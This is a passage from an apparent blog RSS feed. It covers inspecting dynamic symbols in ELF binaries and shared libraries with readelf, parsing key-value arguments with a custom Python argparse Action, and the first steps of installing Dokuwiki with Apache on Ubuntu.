&lt;p&gt;Above is the source code of a small shared library which exports a single function &lt;code&gt;shell&lt;/code&gt; which, evidently, spawns a shell. Let’s compile this.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ gcc -shared -fpic shlib.c -o shlib.so&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now let’s list the dynamic symbols in &lt;code&gt;shlib.so&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ readelf --dyn-syms shlib.so&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;Symbol table &apos;.dynsym&apos; contains 8 entries:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;   Num:    Value          Size Type    Bind   Vis      Ndx Name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     1: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterTMCloneTab&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (2)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND execve@GLIBC_2.2.5 (3)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     4: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     5: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     6: 0000000000000000     0 FUNC    WEAK   DEFAULT  UND __cxa_finalize@GLIBC_2.2.5 (3)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     7: 0000000000001139    93 FUNC    GLOBAL DEFAULT   14 shell&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ python3 dynfuncs.py shlib.so&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;Symbol table &apos;.dynsym&apos; contains 3 global functions:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;   Num: Name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     0: __stack_chk_fail&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     1: execve&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     2: shell&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;objdump&lt;/code&gt; and &lt;code&gt;nm&lt;/code&gt; will yield the same symbols, just in different formats.&lt;/p&gt;
&lt;p&gt;We can see from the above results that for a shared library, the &lt;em&gt;exported&lt;/em&gt; functions as well as the functions &lt;em&gt;used&lt;/em&gt; by the library are dumped.&lt;/p&gt;
&lt;p&gt;You must be wondering about some extra functions showing up in these dumps despite you not using them explicitly in the source code; names starting with &lt;code&gt;__&lt;/code&gt;, for example, &lt;code&gt;__libc_start_main&lt;/code&gt; and &lt;code&gt;__stack_chk_fail&lt;/code&gt;. These are standard functions that are inserted by the compiler, they’re usually defined in the &lt;a href=&quot;https://en.wikipedia.org/wiki/Linux_Standard_Base&quot;&gt;LSB&lt;/a&gt; specs. For usual use-cases, you don’t need to worry about them.&lt;/p&gt;
&lt;h3 id=&quot;conclusions-and-a-request&quot;&gt;Conclusions and a request&lt;/h3&gt;
&lt;p&gt;We know how to list all the library functions an executable &lt;em&gt;might&lt;/em&gt; use. But we still don’t know the functions actually getting called by the executable in a specific run, only ltrace could tell us that. As of now, with most distros moving to &lt;code&gt;-z now&lt;/code&gt; binaries, ltrace is pretty much unusable. I still haven’t found any alternative to ltrace, so if you come upon one, please send me an email or leave a comment mentioning that. Thanks!&lt;/p&gt;
</content:encoded></item><item><title>Parsing Dictionary-Like Key-Value Pairs Using Argparse in Python</title><link>https://sumit-ghosh.com/posts/parsing-dictionary-key-value-pairs-kwargs-argparse-python/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/parsing-dictionary-key-value-pairs-kwargs-argparse-python/</guid><description>Parsing Dictionary-Like Key-Value Pairs Using Argparse in Python — by Sumit Ghosh.</description><pubDate>Thu, 16 Apr 2020 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Python’s &lt;a href=&quot;https://docs.python.org/3/library/argparse.html&quot;&gt;&lt;code&gt;argparse&lt;/code&gt;&lt;/a&gt; is a wonderful library. You can write a capable Unix-style command-line program using very few lines of code. The &lt;a href=&quot;https://docs.python.org/3/library/argparse.html&quot;&gt;docs&lt;/a&gt; mention how you can use &lt;code&gt;argparse&lt;/code&gt; to server a variety of use-cases, it most likely covers everything one might need from an argument parser, it’s &lt;em&gt;batteries-included&lt;/em&gt; in the true sense of the term. But, there are some holes—the &lt;em&gt;battery&lt;/em&gt; isn’t there—so you have to code it up yourself.&lt;/p&gt;
&lt;p&gt;One such case is accepting a dictionary-like list of arbitrary key-value pairs as an argument. &lt;code&gt;argparse&lt;/code&gt; doesn’t support this natively, but it’s flexible enough that you can code it yourself and add it to to &lt;code&gt;argparse&lt;/code&gt;. In this post, I’m going to share how I do it.&lt;/p&gt;
&lt;h3 id=&quot;argparse-actions&quot;&gt;Argparse Actions&lt;/h3&gt;
&lt;p&gt;Before we can proceed, we need to understand Actions in &lt;code&gt;argparse&lt;/code&gt; and how they work. From the docs ::&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.python.org/3/library/argparse.html#argparse.ArgumentParser&quot;&gt;&lt;code&gt;ArgumentParser&lt;/code&gt;&lt;/a&gt; objects associate command-line arguments with actions. These actions can do just about anything with the command-line arguments associated with them…&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Each command-line argument is passed to an associated action, as part of the standard pipeline. The action can do anything they want with the argument, and make any changes to the final &lt;code&gt;ArgumentParser&lt;/code&gt; namespace (i.e. the final output) accordingly.&lt;/p&gt;
&lt;p&gt;It should be clear by this point that we’re gonna write a custom action, an action that parses the input string argument and converts into a dictionary. From the docs ::&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You may also specify an arbitrary action by passing an Action subclass or other object that implements the same interface. The recommended way to do this is to extend &lt;a href=&quot;https://docs.python.org/3/library/argparse.html#argparse.Action&quot;&gt;&lt;code&gt;Action&lt;/code&gt;&lt;/a&gt;, overriding the &lt;code&gt;__call__&lt;/code&gt; method and optionally the &lt;code&gt;__init__&lt;/code&gt; method.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Like it says above, we’re going to create an action subclass, and override the &lt;code&gt;__call__&lt;/code&gt; method.&lt;/p&gt;
&lt;h3 id=&quot;the-code&quot;&gt;The Code&lt;/h3&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; argparse&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; ParseKwargs&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;argparse&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;Action&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; __call__&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(self, parser, namespace, values, option_string&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;None&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;        setattr&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(namespace, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.dest, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;dict&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;())&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;        for&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; value &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; values:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;            key, value &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; value.split(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;=&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;            getattr&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(namespace, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.dest)[key] &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; value&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;parser &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; argparse.ArgumentParser()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;parser.add_argument(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;-k&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;--kwargs&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;nargs&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;*&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;action&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;ParseKwargs)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;args &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; parser.parse_args()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(args.kwargs)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First of all, notice that I’ve used &lt;code&gt;nargs=&apos;*&apos;&lt;/code&gt; while adding the argument via &lt;code&gt;parser.add_argument&lt;/code&gt;. This makes sure that the argument is natively parsed as a list, check out the corresponding &lt;a href=&quot;https://docs.python.org/3/library/argparse.html#nargs&quot;&gt;docs&lt;/a&gt; here. So our action will receive a list of strings.&lt;/p&gt;
&lt;p&gt;Now we’re assuming that each string is a key-value pair, separated by the &lt;code&gt;=&lt;/code&gt; character. From this, the rest of the code should be self-explanatory. We can get the name of the argument using &lt;code&gt;self.dest&lt;/code&gt;, and then edit the values using &lt;code&gt;setattr&lt;/code&gt; and &lt;code&gt;getattr&lt;/code&gt;. I’m splitting the string by &lt;code&gt;=&lt;/code&gt; and then inserting the key and value appropriately in the dictionary.&lt;/p&gt;
&lt;p&gt;Let’s see it in action ::&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~/Coding&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ python3 kwargs.py --kwargs foo&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;bar&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; fiz&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;biz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;{&apos;foo&apos;: &apos;bar&apos;, &apos;fiz&apos;: &apos;biz&apos;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It works!&lt;/p&gt;
&lt;p&gt;Hope this post helped you in some way. Let me know in the comments if you have any questions. Cheers!!&lt;/p&gt;
</content:encoded></item><item><title>Selfhosted Knowledge Base :: Dokuwiki Setup on an Ubuntu Server</title><link>https://sumit-ghosh.com/posts/selfhosted-knowledge-base-dokuwiki-ubuntu-server/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/selfhosted-knowledge-base-dokuwiki-ubuntu-server/</guid><description>Selfhosted Knowledge Base :: Dokuwiki Setup on an Ubuntu Server — by Sumit Ghosh.</description><pubDate>Sat, 28 Mar 2020 18:30:00 GMT</pubDate><content:encoded>&lt;h3 id=&quot;install-requirements&quot;&gt;Install requirements&lt;/h3&gt;
&lt;p&gt;Our server needs two basic prerequisites for Dokuwiki: php, as Dokuwiki is a php application, and apache, because of obvious reasons. Dokuwiki doesn’t need any database, so we don’t need to install any.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;terminal&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; sudo&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; apt&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; update&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; sudo&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; apt&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; upgrade&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; sudo&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; apt&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; apache2&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; php&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; libapache2-mod-php&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;download-dokuwiki&quot;&gt;Download Dokuwiki&lt;/h3&gt;
&lt;p&gt;Download and extract the Dokuwiki tarball.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;terminal&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; wget&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; https://download.dokuwiki.org/src/dokuwiki/dokuwiki-stable.tgz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; tar&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; -xvzf&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; dokuwiki-stable.tgz&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once it’s extracted, we need to copy the Dokuwiki files to a directory in &lt;code&gt;/var/www/&lt;/code&gt;. I’m gonna name the directory &lt;code&gt;wiki.skghosh.me&lt;/code&gt;, as that’s the domain name the wiki is going to be live on.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ mkdir /var/www/wiki.skghosh.me&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ ls&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;dokuwiki-2018-04-22b  dokuwiki-stable.tgz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ cp -r dokuwiki-2018-04-22b/&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; /var/www/wiki.skghosh.me/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;setting-up-apache-virtual-host&quot;&gt;Setting up Apache virtual host&lt;/h3&gt;
&lt;p&gt;We’re gonna create a copy of the default virtualhost configuration file and edit it according to our needs.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;[~]$ cd /etc/apache2/sites-available/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;[/etc/apache2/sites-available]$ ls&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;000-default.conf  default-ssl.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;[/etc/apache2/sites-available]$ cp 000-default.conf wiki.skghosh.me.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;[/etc/apache2/sites-available]$ ls&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;000-default.conf  default-ssl.conf  wiki.skghosh.me.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;[/etc/apache2/sites-available]$ nano wiki.skghosh.me.conf&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After making the edits, here are the relevant, i.e. uncommented lines of my &lt;code&gt;wiki.skghosh.me.conf&lt;/code&gt; file:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;apache&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;VirtualHost&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; *:80&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
